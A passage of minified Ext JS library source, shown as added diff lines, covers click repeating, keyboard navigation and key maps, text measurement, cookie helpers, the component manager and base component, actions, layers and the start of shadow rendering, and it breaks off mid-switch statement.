Ext.apply(this, a); + this.addEvents("mousedown", "click", "mouseup"); + if (!this.disabled) { + this.disabled = true; + this.enable() + } + if (this.handler) { + this.on("click", this.handler, this.scope || this) + } + Ext.util.ClickRepeater.superclass.constructor.call(this) +}, interval:20, delay:250, preventDefault:true, stopDefault:false, timer:0, enable:function () { + if (this.disabled) { + this.el.on("mousedown", this.handleMouseDown, this); + if (Ext.isIE) { + this.el.on("dblclick", this.handleDblClick, this) + } + if (this.preventDefault || this.stopDefault) { + this.el.on("click", this.eventOptions, this) + } + } + this.disabled = false +}, disable:function (a) { + if (a || !this.disabled) { + clearTimeout(this.timer); + if (this.pressClass) { + this.el.removeClass(this.pressClass) + } + Ext.getDoc().un("mouseup", this.handleMouseUp, this); + this.el.removeAllListeners() + } + this.disabled = true +}, setDisabled:function (a) { + this[a ? "disable" : "enable"]() +}, eventOptions:function (a) { + if (this.preventDefault) { + a.preventDefault() + } + if (this.stopDefault) { + a.stopEvent() + } +}, destroy:function () { + this.disable(true); + Ext.destroy(this.el); + this.purgeListeners() +}, handleDblClick:function (a) { + clearTimeout(this.timer); + this.el.blur(); + this.fireEvent("mousedown", this, a); + this.fireEvent("click", this, a) +}, handleMouseDown:function (a) { + clearTimeout(this.timer); + this.el.blur(); + if (this.pressClass) { + this.el.addClass(this.pressClass) + } + this.mousedownTime = new Date(); + Ext.getDoc().on("mouseup", this.handleMouseUp, this); + this.el.on("mouseout", this.handleMouseOut, this); + this.fireEvent("mousedown", this, a); + this.fireEvent("click", this, a); + if (this.accelerate) { + this.delay = 400 + } + this.timer = this.click.defer(this.delay || this.interval, this, [a]) +}, click:function (a) { + this.fireEvent("click", this, a); + this.timer = this.click.defer(this.accelerate ? this.easeOutExpo(this.mousedownTime.getElapsed(), 400, -390, 12000) : this.interval, this, [a]) +}, easeOutExpo:function (e, a, h, g) { + return(e == g) ? a + h : h * (-Math.pow(2, -10 * e / g) + 1) + a +}, handleMouseOut:function () { + clearTimeout(this.timer); + if (this.pressClass) { + this.el.removeClass(this.pressClass) + } + this.el.on("mouseover", this.handleMouseReturn, this) +}, handleMouseReturn:function () { + this.el.un("mouseover", this.handleMouseReturn, this); + if (this.pressClass) { + this.el.addClass(this.pressClass) + } + this.click() +}, handleMouseUp:function (a) { + clearTimeout(this.timer); + this.el.un("mouseover", this.handleMouseReturn, this); + this.el.un("mouseout", this.handleMouseOut, this); + Ext.getDoc().un("mouseup", this.handleMouseUp, this); + this.el.removeClass(this.pressClass); + this.fireEvent("mouseup", this, a) +}}); +Ext.KeyNav = function (b, a) { + this.el = Ext.get(b); + Ext.apply(this, a); + if (!this.disabled) { + this.disabled = true; + this.enable() + } +}; +Ext.KeyNav.prototype = {disabled:false, defaultEventAction:"stopEvent", forceKeyDown:false, relay:function (c) { + var a = c.getKey(), b = this.keyToHandler[a]; + if (b && this[b]) { + if (this.doRelay(c, this[b], b) !== true) { + c[this.defaultEventAction]() + } + } +}, doRelay:function (c, b, a) { + return b.call(this.scope || this, c, a) +}, enter:false, left:false, right:false, up:false, down:false, tab:false, esc:false, pageUp:false, pageDown:false, del:false, home:false, end:false, space:false, keyToHandler:{37:"left", 39:"right", 38:"up", 40:"down", 33:"pageUp", 34:"pageDown", 46:"del", 36:"home", 35:"end", 13:"enter", 27:"esc", 9:"tab", 32:"space"}, stopKeyUp:function (b) { + var a = b.getKey(); + if (a >= 37 && a <= 40) { + b.stopEvent() + } +}, destroy:function () { + this.disable() +}, enable:function () { + if (this.disabled) { + if (Ext.isSafari2) { + this.el.on("keyup", this.stopKeyUp, this) + } + this.el.on(this.isKeydown() ? "keydown" : "keypress", this.relay, this); + this.disabled = false + } +}, disable:function () { + if (!this.disabled) { + if (Ext.isSafari2) { + this.el.un("keyup", this.stopKeyUp, this) + } + this.el.un(this.isKeydown() ? "keydown" : "keypress", this.relay, this); + this.disabled = true + } +}, setDisabled:function (a) { + this[a ? "disable" : "enable"]() +}, isKeydown:function () { + return this.forceKeyDown || Ext.EventManager.useKeydown +}}; +Ext.KeyMap = function (c, b, a) { + this.el = Ext.get(c); + this.eventName = a || "keydown"; + this.bindings = []; + if (b) { + this.addBinding(b) + } + this.enable() +}; +Ext.KeyMap.prototype = {stopEvent:false, addBinding:function (b) { + if (Ext.isArray(b)) { + Ext.each(b, function (j) { + this.addBinding(j) + }, this); + return + } + var k = b.key, g = b.fn || b.handler, l = b.scope; + if (b.stopEvent) { + this.stopEvent = b.stopEvent + } + if (typeof k == "string") { + var h = []; + var e = k.toUpperCase(); + for (var c = 0, d = e.length; c < d; c++) { + h.push(e.charCodeAt(c)) + } + k = h + } + var a = Ext.isArray(k); + var i = function (o) { + if (this.checkModifiers(b, o)) { + var m = o.getKey(); + if (a) { + for (var n = 0, j = k.length; n < j; n++) { + if (k[n] == m) { + if (this.stopEvent) { + o.stopEvent() + } + g.call(l || window, m, o); + return + } + } + } else { + if (m == k) { + if (this.stopEvent) { + o.stopEvent() + } + g.call(l || window, m, o) + } + } + } + }; + this.bindings.push(i) +}, checkModifiers:function (b, h) { + var j, d, g = ["shift", "ctrl", "alt"]; + for (var c = 0, a = g.length; c < a; ++c) { + d = g[c]; + j = b[d]; + if (!(j === undefined || (j === h[d + "Key"]))) { + return false + } + } + return true +}, on:function (b, d, c) { + var h, a, e, g; + if (typeof b == "object" && !Ext.isArray(b)) { + h = b.key; + a = b.shift; + e = b.ctrl; + g = b.alt + } else { + h = b + } + this.addBinding({key:h, shift:a, ctrl:e, alt:g, fn:d, scope:c}) +}, handleKeyDown:function (g) { + if (this.enabled) { + var c = this.bindings; + for (var d = 0, a = c.length; d < a; d++) { + c[d].call(this, g) + } + } +}, isEnabled:function () { + return this.enabled +}, enable:function () { + if (!this.enabled) { + this.el.on(this.eventName, this.handleKeyDown, this); + this.enabled = true + } +}, disable:function () { + if (this.enabled) { + this.el.removeListener(this.eventName, this.handleKeyDown, this); + this.enabled = false + } +}, setDisabled:function (a) { + this[a ? "disable" : "enable"]() +}}; +Ext.util.TextMetrics = function () { + var a; + return{measure:function (b, c, d) { + if (!a) { + a = Ext.util.TextMetrics.Instance(b, d) + } + a.bind(b); + a.setFixedWidth(d || "auto"); + return a.getSize(c) + }, createInstance:function (b, c) { + return Ext.util.TextMetrics.Instance(b, c) + }} +}(); +Ext.util.TextMetrics.Instance = function (b, d) { + var c = new Ext.Element(document.createElement("div")); + document.body.appendChild(c.dom); + c.position("absolute"); + c.setLeftTop(-1000, -1000); + c.hide(); + if (d) { + c.setWidth(d) + } + var a = {getSize:function (g) { + c.update(g); + var e = c.getSize(); + c.update(""); + return e + }, bind:function (e) { + c.setStyle(Ext.fly(e).getStyles("font-size", "font-style", "font-weight", "font-family", "line-height", "text-transform", "letter-spacing")) + }, setFixedWidth:function (e) { + c.setWidth(e) + }, getWidth:function (e) { + c.dom.style.width = "auto"; + return this.getSize(e).width + }, getHeight:function (e) { + return this.getSize(e).height + }}; + a.bind(b); + return a +}; +Ext.Element.addMethods({getTextWidth:function (c, b, a) { + return(Ext.util.TextMetrics.measure(this.dom, Ext.value(c, this.dom.innerHTML, true)).width).constrain(b || 0, a || 1000000) +}}); +Ext.util.Cookies = {set:function (c, e) { + var a = arguments; + var i = arguments.length; + var b = (i > 2) ? a[2] : null; + var h = (i > 3) ? a[3] : "/"; + var d = (i > 4) ? a[4] : null; + var g = (i > 5) ? a[5] : false; + document.cookie = c + "=" + escape(e) + ((b === null) ? "" : ("; expires=" + b.toGMTString())) + ((h === null) ? "" : ("; path=" + h)) + ((d === null) ? "" : ("; domain=" + d)) + ((g === true) ? "; secure" : "") +}, get:function (d) { + var b = d + "="; + var g = b.length; + var a = document.cookie.length; + var e = 0; + var c = 0; + while (e < a) { + c = e + g; + if (document.cookie.substring(e, c) == b) { + return Ext.util.Cookies.getCookieVal(c) + } + e = document.cookie.indexOf(" ", e) + 1; + if (e === 0) { + break + } + } + return null +}, clear:function (a) { + if (Ext.util.Cookies.get(a)) { + document.cookie = a + "=; expires=Thu, 01-Jan-70 00:00:01 GMT" + } +}, getCookieVal:function (b) { + var a = document.cookie.indexOf(";", b); + if (a == -1) { + a = document.cookie.length + } + return unescape(document.cookie.substring(b, a)) +}}; +Ext.handleError = function (a) { + throw a +}; +Ext.Error = function (a) { + this.message = (this.lang[a]) ? this.lang[a] : a +}; +Ext.Error.prototype = new Error(); +Ext.apply(Ext.Error.prototype, {lang:{}, name:"Ext.Error", getName:function () { + return this.name +}, getMessage:function () { + return this.message +}, toJson:function () { + return Ext.encode(this) +}}); +Ext.ComponentMgr = function () { + var c = new Ext.util.MixedCollection(); + var b = {}; + var a = {}; + return{register:function (d) { + c.add(d) + }, unregister:function (d) { + c.remove(d) + }, get:function (d) { + return c.get(d) + }, onAvailable:function (g, e, d) { + c.on("add", function (h, i) { + if (i.id == g) { + e.call(d || i, i); + c.un("add", e, d) + } + }) + }, all:c, types:b, ptypes:a, isRegistered:function (d) { + return b[d] !== undefined + }, isPluginRegistered:function (d) { + return a[d] !== undefined + }, registerType:function (e, d) { + b[e] = d; + d.xtype = e + }, create:function (d, e) { + return d.render ? d : new b[d.xtype || e](d) + }, registerPlugin:function (e, d) { + a[e] = d; + d.ptype = e + }, createPlugin:function (e, g) { + var d = a[e.ptype || g]; + if (d.init) { + return d + } else { + return new d(e) + } + }} +}(); +Ext.reg = Ext.ComponentMgr.registerType; +Ext.preg = Ext.ComponentMgr.registerPlugin; +Ext.create = Ext.ComponentMgr.create; +Ext.Component = function (b) { + b = b || {}; + if (b.initialConfig) { + if (b.isAction) { + this.baseAction = b + } + b = b.initialConfig + } else { + if (b.tagName || b.dom || Ext.isString(b)) { + b = {applyTo:b, id:b.id || b} + } + } + this.initialConfig = b; + Ext.apply(this, b); + this.addEvents("added", "disable", "enable", "beforeshow", "show", "beforehide", "hide", "removed", "beforerender", "render", "afterrender", "beforedestroy", "destroy", "beforestaterestore", "staterestore", "beforestatesave", "statesave"); + this.getId(); + Ext.ComponentMgr.register(this); + Ext.Component.superclass.constructor.call(this); + if (this.baseAction) { + this.baseAction.addComponent(this) + } + this.initComponent(); + if (this.plugins) { + if (Ext.isArray(this.plugins)) { + for (var c = 0, a = this.plugins.length; c < a; c++) { + this.plugins[c] = this.initPlugin(this.plugins[c]) + } + } else { + this.plugins = this.initPlugin(this.plugins) + } + } + if (this.stateful !== false) { + this.initState() + } + if (this.applyTo) { + this.applyToMarkup(this.applyTo); + delete this.applyTo + } else { + if (this.renderTo) { + this.render(this.renderTo); + delete this.renderTo + } + } +}; +Ext.Component.AUTO_ID = 1000; +Ext.extend(Ext.Component, Ext.util.Observable, {disabled:false, hidden:false, autoEl:"div", disabledClass:"x-item-disabled", allowDomMove:true, autoShow:false, hideMode:"display", hideParent:false, rendered:false, tplWriteMode:"overwrite", bubbleEvents:[], ctype:"Ext.Component", actionMode:"el", getActionEl:function () { + return this[this.actionMode] +}, initPlugin:function (a) { + if (a.ptype && !Ext.isFunction(a.init)) { + a = Ext.ComponentMgr.createPlugin(a) + } else { + if (Ext.isString(a)) { + a = Ext.ComponentMgr.createPlugin({ptype:a}) + } + } + a.init(this); + return a +}, initComponent:function () { + if (this.listeners) { + this.on(this.listeners); + delete this.listeners + } + this.enableBubble(this.bubbleEvents) +}, render:function (b, a) { + if (!this.rendered && this.fireEvent("beforerender", this) !== false) { + if (!b && this.el) { + this.el = Ext.get(this.el); + b = this.el.dom.parentNode; + this.allowDomMove = false + } + this.container = Ext.get(b); + if (this.ctCls) { + this.container.addClass(this.ctCls) + } + this.rendered = true; + if (a !== undefined) { + if (Ext.isNumber(a)) { + a = this.container.dom.childNodes[a] + } else { + a = Ext.getDom(a) + } + } + this.onRender(this.container, a || null); + if (this.autoShow) { + this.el.removeClass(["x-hidden", "x-hide-" + this.hideMode]) + } + if (this.cls) { + this.el.addClass(this.cls); + delete this.cls + } + if (this.style) { + this.el.applyStyles(this.style); + delete this.style + } + if (this.overCls) { + this.el.addClassOnOver(this.overCls) + } + this.fireEvent("render", this); + var c = this.getContentTarget(); + if (this.html) { + c.update(Ext.DomHelper.markup(this.html)); + delete this.html + } + if (this.contentEl) { + var d = Ext.getDom(this.contentEl); + Ext.fly(d).removeClass(["x-hidden", "x-hide-display"]); + c.appendChild(d) + } + if (this.tpl) { + if (!this.tpl.compile) { + this.tpl = new Ext.XTemplate(this.tpl) + } + if (this.data) { + this.tpl[this.tplWriteMode](c, this.data); + delete this.data + } + } + this.afterRender(this.container); + if (this.hidden) { + this.doHide() + } + if (this.disabled) { + this.disable(true) + } + if (this.stateful !== false) { + this.initStateEvents() + } + this.fireEvent("afterrender", this) + } + return this +}, update:function (b, d, a) { + var c = this.getContentTarget(); + if (this.tpl && typeof b !== "string") { + this.tpl[this.tplWriteMode](c, b || {}) + } else { + var e = Ext.isObject(b) ? Ext.DomHelper.markup(b) : b; + c.update(e, d, a) + } +}, onAdded:function (a, b) { + this.ownerCt = a; + this.initRef(); + this.fireEvent("added", this, a, b) +}, onRemoved:function () { + this.removeRef(); + this.fireEvent("removed", this, this.ownerCt); + delete this.ownerCt +}, initRef:function () { + if (this.ref && !this.refOwner) { + var d = this.ref.split("/"), c = d.length, b = 0, a = this; + while (a && b < c) { + a = a.ownerCt; + ++b + } + if (a) { + a[this.refName = d[--b]] = this; + this.refOwner = a + } + } +}, removeRef:function () { + if (this.refOwner && this.refName) { + delete this.refOwner[this.refName]; + delete this.refOwner + } +}, initState:function () { + if (Ext.state.Manager) { + var b = this.getStateId(); + if (b) { + var a = Ext.state.Manager.get(b); + if (a) { + if (this.fireEvent("beforestaterestore", this, a) !== false) { + this.applyState(Ext.apply({}, a)); + this.fireEvent("staterestore", this, a) + } + } + } + } +}, getStateId:function () { + return this.stateId || ((/^(ext-comp-|ext-gen)/).test(String(this.id)) ? null : this.id) +}, initStateEvents:function () { + if (this.stateEvents) { + for (var a = 0, b; b = this.stateEvents[a]; a++) { + this.on(b, this.saveState, this, {delay:100}) + } + } +}, applyState:function (a) { + if (a) { + Ext.apply(this, a) + } +}, getState:function () { + return null +}, saveState:function () { + if (Ext.state.Manager && this.stateful !== false) { + var b = this.getStateId(); + if (b) { + var a = this.getState(); + if (this.fireEvent("beforestatesave", this, a) !== false) { + Ext.state.Manager.set(b, a); + this.fireEvent("statesave", this, a) + } + } + } +}, applyToMarkup:function (a) { + this.allowDomMove = false; + this.el = Ext.get(a); + this.render(this.el.dom.parentNode) +}, addClass:function (a) { + if (this.el) { + this.el.addClass(a) + } else { + this.cls = this.cls ? this.cls + " " + a : a + } + return this +}, removeClass:function (a) { + if (this.el) { + this.el.removeClass(a) + } else { + if (this.cls) { + this.cls = this.cls.split(" ").remove(a).join(" ") + } + } + return this +}, onRender:function (b, a) { + if (!this.el && this.autoEl) { + if (Ext.isString(this.autoEl)) { + this.el = document.createElement(this.autoEl) + } else { + var c = document.createElement("div"); + Ext.DomHelper.overwrite(c, this.autoEl); + this.el = c.firstChild + } + if (!this.el.id) { + this.el.id = this.getId() + } + } + if (this.el) { + this.el = Ext.get(this.el); + if (this.allowDomMove !== false) { + b.dom.insertBefore(this.el.dom, a); + if (c) { + Ext.removeNode(c); + c = null + } + } + } +}, getAutoCreate:function () { + var a = Ext.isObject(this.autoCreate) ? this.autoCreate : Ext.apply({}, this.defaultAutoCreate); + if (this.id && !a.id) { + a.id = this.id + } + return a +}, afterRender:Ext.emptyFn, destroy:function () { + if (!this.isDestroyed) { + if (this.fireEvent("beforedestroy", this) !== false) { + this.destroying = true; + this.beforeDestroy(); + if (this.ownerCt && this.ownerCt.remove) { + this.ownerCt.remove(this, false) + } + if (this.rendered) { + this.el.remove(); + if (this.actionMode == "container" || this.removeMode == "container") { + this.container.remove() + } + } + if (this.focusTask && this.focusTask.cancel) { + this.focusTask.cancel() + } + this.onDestroy(); + Ext.ComponentMgr.unregister(this); + this.fireEvent("destroy", this); + this.purgeListeners(); + this.destroying = false; + this.isDestroyed = true + } + } +}, deleteMembers:function () { + var b = arguments; + for (var c = 0, a = b.length; c < a; ++c) { + delete this[b[c]] + } +}, beforeDestroy:Ext.emptyFn, onDestroy:Ext.emptyFn, getEl:function () { + return this.el +}, getContentTarget:function () { + return this.el +}, getId:function () { + return this.id || (this.id = "ext-comp-" + (++Ext.Component.AUTO_ID)) +}, getItemId:function () { + return this.itemId || this.getId() +}, focus:function (b, a) { + if (a) { + this.focusTask = new Ext.util.DelayedTask(this.focus, this, [b, false]); + this.focusTask.delay(Ext.isNumber(a) ? a : 10); + return this + } + if (this.rendered && !this.isDestroyed) { + this.el.focus(); + if (b === true) { + this.el.dom.select() + } + } + return this +}, blur:function () { + if (this.rendered) { + this.el.blur() + } + return this +}, disable:function (a) { + if (this.rendered) { + this.onDisable() + } + this.disabled = true; + if (a !== true) { + this.fireEvent("disable", this) + } + return this +}, onDisable:function () { + this.getActionEl().addClass(this.disabledClass); + this.el.dom.disabled = true +}, enable:function () { + if (this.rendered) { + this.onEnable() + } + this.disabled = false; + this.fireEvent("enable", this); + return this +}, onEnable:function () { + this.getActionEl().removeClass(this.disabledClass); + this.el.dom.disabled = false +}, setDisabled:function (a) { + return this[a ? "disable" : "enable"]() +}, show:function () { + if (this.fireEvent("beforeshow", this) !== false) { + this.hidden = false; + if (this.autoRender) { + this.render(Ext.isBoolean(this.autoRender) ? Ext.getBody() : this.autoRender) + } + if (this.rendered) { + this.onShow() + } + this.fireEvent("show", this) + } + return this +}, onShow:function () { + this.getVisibilityEl().removeClass("x-hide-" + this.hideMode) +}, hide:function () { + if (this.fireEvent("beforehide", this) !== false) { + this.doHide(); + this.fireEvent("hide", this) + } + return this +}, doHide:function () { + this.hidden = true; + if (this.rendered) { + this.onHide() + } +}, onHide:function () { + this.getVisibilityEl().addClass("x-hide-" + this.hideMode) +}, getVisibilityEl:function () { + return this.hideParent ? this.container : this.getActionEl() +}, setVisible:function (a) { + return this[a ? "show" : "hide"]() +}, isVisible:function () { + return this.rendered && this.getVisibilityEl().isVisible() +}, cloneConfig:function (b) { + b = b || {}; + var c = b.id || Ext.id(); + var a = Ext.applyIf(b, this.initialConfig); + a.id = c; + return new this.constructor(a) +}, getXType:function () { + return this.constructor.xtype +}, isXType:function (b, a) { + if (Ext.isFunction(b)) { + b = b.xtype + } else { + if (Ext.isObject(b)) { + b = b.constructor.xtype + } + } + return !a ? ("/" + this.getXTypes() + "/").indexOf("/" + b + "/") != -1 : this.constructor.xtype == b +}, getXTypes:function () { + var a = this.constructor; + if (!a.xtypes) { + var d = [], b = this; + while (b && b.constructor.xtype) { + d.unshift(b.constructor.xtype); + b = b.constructor.superclass + } + a.xtypeChain = d; + a.xtypes = d.join("/") + } + return a.xtypes +}, findParentBy:function (a) { + for (var b = this.ownerCt; (b != null) && !a(b, this); b = b.ownerCt) { + } + return b || null +}, findParentByType:function (b, a) { + return this.findParentBy(function (d) { + return d.isXType(b, a) + }) +}, bubble:function (c, b, a) { + var d = this; + while (d) { + if (c.apply(b || d, a || [d]) === false) { + break + } + d = d.ownerCt + } + return this +}, getPositionEl:function () { + return this.positionEl || this.el +}, purgeListeners:function () { + Ext.Component.superclass.purgeListeners.call(this); + if (this.mons) { + this.on("beforedestroy", this.clearMons, this, {single:true}) + } +}, clearMons:function () { + Ext.each(this.mons, function (a) { + a.item.un(a.ename, a.fn, a.scope) + }, this); + this.mons = [] +}, createMons:function () { + if (!this.mons) { + this.mons = []; + this.on("beforedestroy", this.clearMons, this, {single:true}) + } +}, mon:function (g, b, d, c, a) { + this.createMons(); + if (Ext.isObject(b)) { + var j = /^(?:scope|delay|buffer|single|stopEvent|preventDefault|stopPropagation|normalized|args|delegate)$/; + var i = b; + for (var h in i) { + if (j.test(h)) { + continue + } + if (Ext.isFunction(i[h])) { + this.mons.push({item:g, ename:h, fn:i[h], scope:i.scope}); + g.on(h, i[h], i.scope, i) + } else { + this.mons.push({item:g, ename:h, fn:i[h], scope:i.scope}); + g.on(h, i[h]) + } + } + return + } + this.mons.push({item:g, ename:b, fn:d, scope:c}); + g.on(b, d, c, a) +}, mun:function (h, c, g, e) { + var j, d; + this.createMons(); + for (var b = 0, a = this.mons.length; b < a; ++b) { + d = this.mons[b]; + if (h === d.item && c == d.ename && g === d.fn && e === d.scope) { + this.mons.splice(b, 1); + h.un(c, g, e); + j = true; + break + } + } + return j +}, nextSibling:function () { + if (this.ownerCt) { + var a = this.ownerCt.items.indexOf(this); + if (a != -1 && a + 1 < this.ownerCt.items.getCount()) { + return this.ownerCt.items.itemAt(a + 1) + } + } + return null +}, previousSibling:function () { + if (this.ownerCt) { + var a = this.ownerCt.items.indexOf(this); + if (a > 0) { + return this.ownerCt.items.itemAt(a - 1) + } + } + return null +}, getBubbleTarget:function () { + return this.ownerCt +}}); +Ext.reg("component", Ext.Component); +Ext.Action = Ext.extend(Object, {constructor:function (a) { + this.initialConfig = a; + this.itemId = a.itemId = (a.itemId || a.id || Ext.id()); + this.items = [] +}, isAction:true, setText:function (a) { + this.initialConfig.text = a; + this.callEach("setText", [a]) +}, getText:function () { + return this.initialConfig.text +}, setIconClass:function (a) { + this.initialConfig.iconCls = a; + this.callEach("setIconClass", [a]) +}, getIconClass:function () { + return this.initialConfig.iconCls +}, setDisabled:function (a) { + this.initialConfig.disabled = a; + this.callEach("setDisabled", [a]) +}, enable:function () { + this.setDisabled(false) +}, disable:function () { + this.setDisabled(true) +}, isDisabled:function () { + return this.initialConfig.disabled +}, setHidden:function (a) { + this.initialConfig.hidden = a; + this.callEach("setVisible", [!a]) +}, show:function () { + this.setHidden(false) +}, hide:function () { + this.setHidden(true) +}, isHidden:function () { + return this.initialConfig.hidden +}, setHandler:function (b, a) { + this.initialConfig.handler = b; + this.initialConfig.scope = a; + this.callEach("setHandler", [b, a]) +}, each:function (b, a) { + Ext.each(this.items, b, a) +}, callEach:function (e, b) { + var d = this.items; + for (var c = 0, a = d.length; c < a; c++) { + d[c][e].apply(d[c], b) + } +}, addComponent:function (a) { + this.items.push(a); + a.on("destroy", this.removeComponent, this) +}, removeComponent:function (a) { + this.items.remove(a) +}, execute:function () { + this.initialConfig.handler.apply(this.initialConfig.scope || window, arguments) +}}); +(function () { + Ext.Layer = function (d, c) { + d = d || {}; + var e = Ext.DomHelper, h = d.parentEl, g = h ? Ext.getDom(h) : document.body; + if (c) { + this.dom = Ext.getDom(c) + } + if (!this.dom) { + var i = d.dh || {tag:"div", cls:"x-layer"}; + this.dom = e.append(g, i) + } + if (d.cls) { + this.addClass(d.cls) + } + this.constrain = d.constrain !== false; + this.setVisibilityMode(Ext.Element.VISIBILITY); + if (d.id) { + this.id = this.dom.id = d.id + } else { + this.id = Ext.id(this.dom) + } + this.zindex = d.zindex || this.getZIndex(); + this.position("absolute", this.zindex); + if (d.shadow) { + this.shadowOffset = d.shadowOffset || 4; + this.shadow = new Ext.Shadow({offset:this.shadowOffset, mode:d.shadow}) + } else { + this.shadowOffset = 0 + } + this.useShim = d.shim !== false && Ext.useShims; + this.useDisplay = d.useDisplay; + this.hide() + }; + var a = Ext.Element.prototype; + var b = []; + Ext.extend(Ext.Layer, Ext.Element, {getZIndex:function () { + return this.zindex || parseInt((this.getShim() || this).getStyle("z-index"), 10) || 11000 + }, getShim:function () { + if (!this.useShim) { + return null + } + if (this.shim) { + return this.shim + } + var d = b.shift(); + if (!d) { + d = this.createShim(); + d.enableDisplayMode("block"); + d.dom.style.display = "none"; + d.dom.style.visibility = "visible" + } + var c = this.dom.parentNode; + if (d.dom.parentNode != c) { + c.insertBefore(d.dom, this.dom) + } + d.setStyle("z-index", this.getZIndex() - 2); + this.shim = d; + return d + }, hideShim:function () { + if (this.shim) { + this.shim.setDisplayed(false); + b.push(this.shim); + delete this.shim + } + }, disableShadow:function () { + if (this.shadow) { + this.shadowDisabled = true; + this.shadow.hide(); + this.lastShadowOffset = this.shadowOffset; + this.shadowOffset = 0 + } + }, enableShadow:function (c) { + if (this.shadow) { + this.shadowDisabled = false; + if (Ext.isDefined(this.lastShadowOffset)) { + this.shadowOffset = this.lastShadowOffset; + delete this.lastShadowOffset + } + if (c) { + this.sync(true) + } + } + }, sync:function (d) { + var n = this.shadow; + if (!this.updating && this.isVisible() && (n || this.useShim)) { + var i = this.getShim(), m = this.getWidth(), j = this.getHeight(), e = this.getLeft(true), o = this.getTop(true); + if (n && !this.shadowDisabled) { + if (d && !n.isVisible()) { + n.show(this) + } else { + n.realign(e, o, m, j) + } + if (i) { + if (d) { + i.show() + } + var k = n.el.getXY(), g = i.dom.style, c = n.el.getSize(); + g.left = (k[0]) + "px"; + g.top = (k[1]) + "px"; + g.width = (c.width) + "px"; + g.height = (c.height) + "px" + } + } else { + if (i) { + if (d) { + i.show() + } + i.setSize(m, j); + i.setLeftTop(e, o) + } + } + } + }, destroy:function () { + this.hideShim(); + if (this.shadow) { + this.shadow.hide() + } + this.removeAllListeners(); + Ext.removeNode(this.dom); + delete this.dom + }, remove:function () { + this.destroy() + }, beginUpdate:function () { + this.updating = true + }, endUpdate:function () { + this.updating = false; + this.sync(true) + }, hideUnders:function (c) { + if (this.shadow) { + this.shadow.hide() + } + this.hideShim() + }, constrainXY:function () { + if (this.constrain) { + var j = Ext.lib.Dom.getViewWidth(), d = Ext.lib.Dom.getViewHeight(); + var o = Ext.getDoc().getScroll(); + var n = this.getXY(); + var k = n[0], i = n[1]; + var c = this.shadowOffset; + var l = this.dom.offsetWidth + c, e = this.dom.offsetHeight + c; + var g = false; + if ((k + l) > j + o.left) { + k = j - l - c; + g = true + } + if ((i + e) > d + o.top) { + i = d - e - c; + g = true + } + if (k < o.left) { + k = o.left; + g = true + } + if (i < o.top) { + i = o.top; + g = true + } + if (g) { + if (this.avoidY) { + var m = this.avoidY; + if (i <= m && (i + e) >= m) { + i = m - e - 5 + } + } + n = [k, i]; + this.storeXY(n); + a.setXY.call(this, n); + this.sync() + } + } + return this + }, getConstrainOffset:function () { + return this.shadowOffset + }, isVisible:function () { + return this.visible + }, showAction:function () { + this.visible = true; + if (this.useDisplay === true) { + this.setDisplayed("") + } else { + if (this.lastXY) { + a.setXY.call(this, this.lastXY) + } else { + if (this.lastLT) { + a.setLeftTop.call(this, this.lastLT[0], this.lastLT[1]) + } + } + } + }, hideAction:function () { + this.visible = false; + if (this.useDisplay === true) { + this.setDisplayed(false) + } else { + this.setLeftTop(-10000, -10000) + } + }, setVisible:function (i, h, k, l, j) { + if (i) { + this.showAction() + } + if (h && i) { + var g = function () { + this.sync(true); + if (l) { + l() + } + }.createDelegate(this); + a.setVisible.call(this, true, true, k, g, j) + } else { + if (!i) { + this.hideUnders(true) + } + var g = l; + if (h) { + g = function () { + this.hideAction(); + if (l) { + l() + } + }.createDelegate(this) + } + a.setVisible.call(this, i, h, k, g, j); + if (i) { + this.sync(true) + } else { + if (!h) { + this.hideAction() + } + } + } + return this + }, storeXY:function (c) { + delete this.lastLT; + this.lastXY = c + }, storeLeftTop:function (d, c) { + delete this.lastXY; + this.lastLT = [d, c] + }, beforeFx:function () { + this.beforeAction(); + return Ext.Layer.superclass.beforeFx.apply(this, arguments) + }, afterFx:function () { + Ext.Layer.superclass.afterFx.apply(this, arguments); + this.sync(this.isVisible()) + }, beforeAction:function () { + if (!this.updating && this.shadow) { + this.shadow.hide() + } + }, setLeft:function (c) { + this.storeLeftTop(c, this.getTop(true)); + a.setLeft.apply(this, arguments); + this.sync(); + return this + }, setTop:function (c) { + this.storeLeftTop(this.getLeft(true), c); + a.setTop.apply(this, arguments); + this.sync(); + return this + }, setLeftTop:function (d, c) { + this.storeLeftTop(d, c); + a.setLeftTop.apply(this, arguments); + this.sync(); + return this + }, setXY:function (j, h, k, l, i) { + this.fixDisplay(); + this.beforeAction(); + this.storeXY(j); + var g = this.createCB(l); + a.setXY.call(this, j, h, k, g, i); + if (!h) { + g() + } + return this + }, createCB:function (e) { + var d = this; + return function () { + d.constrainXY(); + d.sync(true); + if (e) { + e() + } + } + }, setX:function (g, h, j, k, i) { + this.setXY([g, this.getY()], h, j, k, i); + return this + }, setY:function (k, g, i, j, h) { + this.setXY([this.getX(), k], g, i, j, h); + return this + }, setSize:function (j, k, i, m, n, l) { + this.beforeAction(); + var g = this.createCB(n); + a.setSize.call(this, j, k, i, m, g, l); + if (!i) { + g() + } + return this + }, setWidth:function (i, h, k, l, j) { + this.beforeAction(); + var g = this.createCB(l); + a.setWidth.call(this, i, h, k, g, j); + if (!h) { + g() + } + return this + }, setHeight:function (j, i, l, m, k) { + this.beforeAction(); + var g = this.createCB(m); + a.setHeight.call(this, j, i, l, g, k); + if (!i) { + g() + } + return this + }, setBounds:function (o, m, p, i, n, k, l, j) { + this.beforeAction(); + var g = this.createCB(l); + if (!n) { + this.storeXY([o, m]); + a.setXY.call(this, [o, m]); + a.setSize.call(this, p, i, n, k, g, j); + g() + } else { + a.setBounds.call(this, o, m, p, i, n, k, g, j) + } + return this + }, setZIndex:function (c) { + this.zindex = c; + this.setStyle("z-index", c + 2); + if (this.shadow) { + this.shadow.setZIndex(c + 1) + } + if (this.shim) { + this.shim.setStyle("z-index", c) + } + return this + }}) +})(); +Ext.Shadow = function (d) { + Ext.apply(this, d); + if (typeof this.mode != "string") { + this.mode = this.defaultMode + } + var e = this.offset, c = {h:0}, b = Math.floor(this.offset / 2); + switch (this.mode.toLowerCase()) { + case"drop": + c.w = 0; + c.l = c.t = e; + c.t -= 1; + if (Ext.isIE) { + c.l -= this.offset + b; + c.t -= this.offset + b; + c.w -= b; + c.h -= b; + c.t += 1 + } + break; + case"sides": + c.w = (e * 2); + c.l = -e; + c.t = e - 1; + if (Ext.isIE) { + c.l -= (this.offset - b); + c.t -= this.offset + b; + c.l += 1; + c.w -= (this.offset - b) * 2; + c.w -= b + 1; + c.h -= 1 + } + break; + 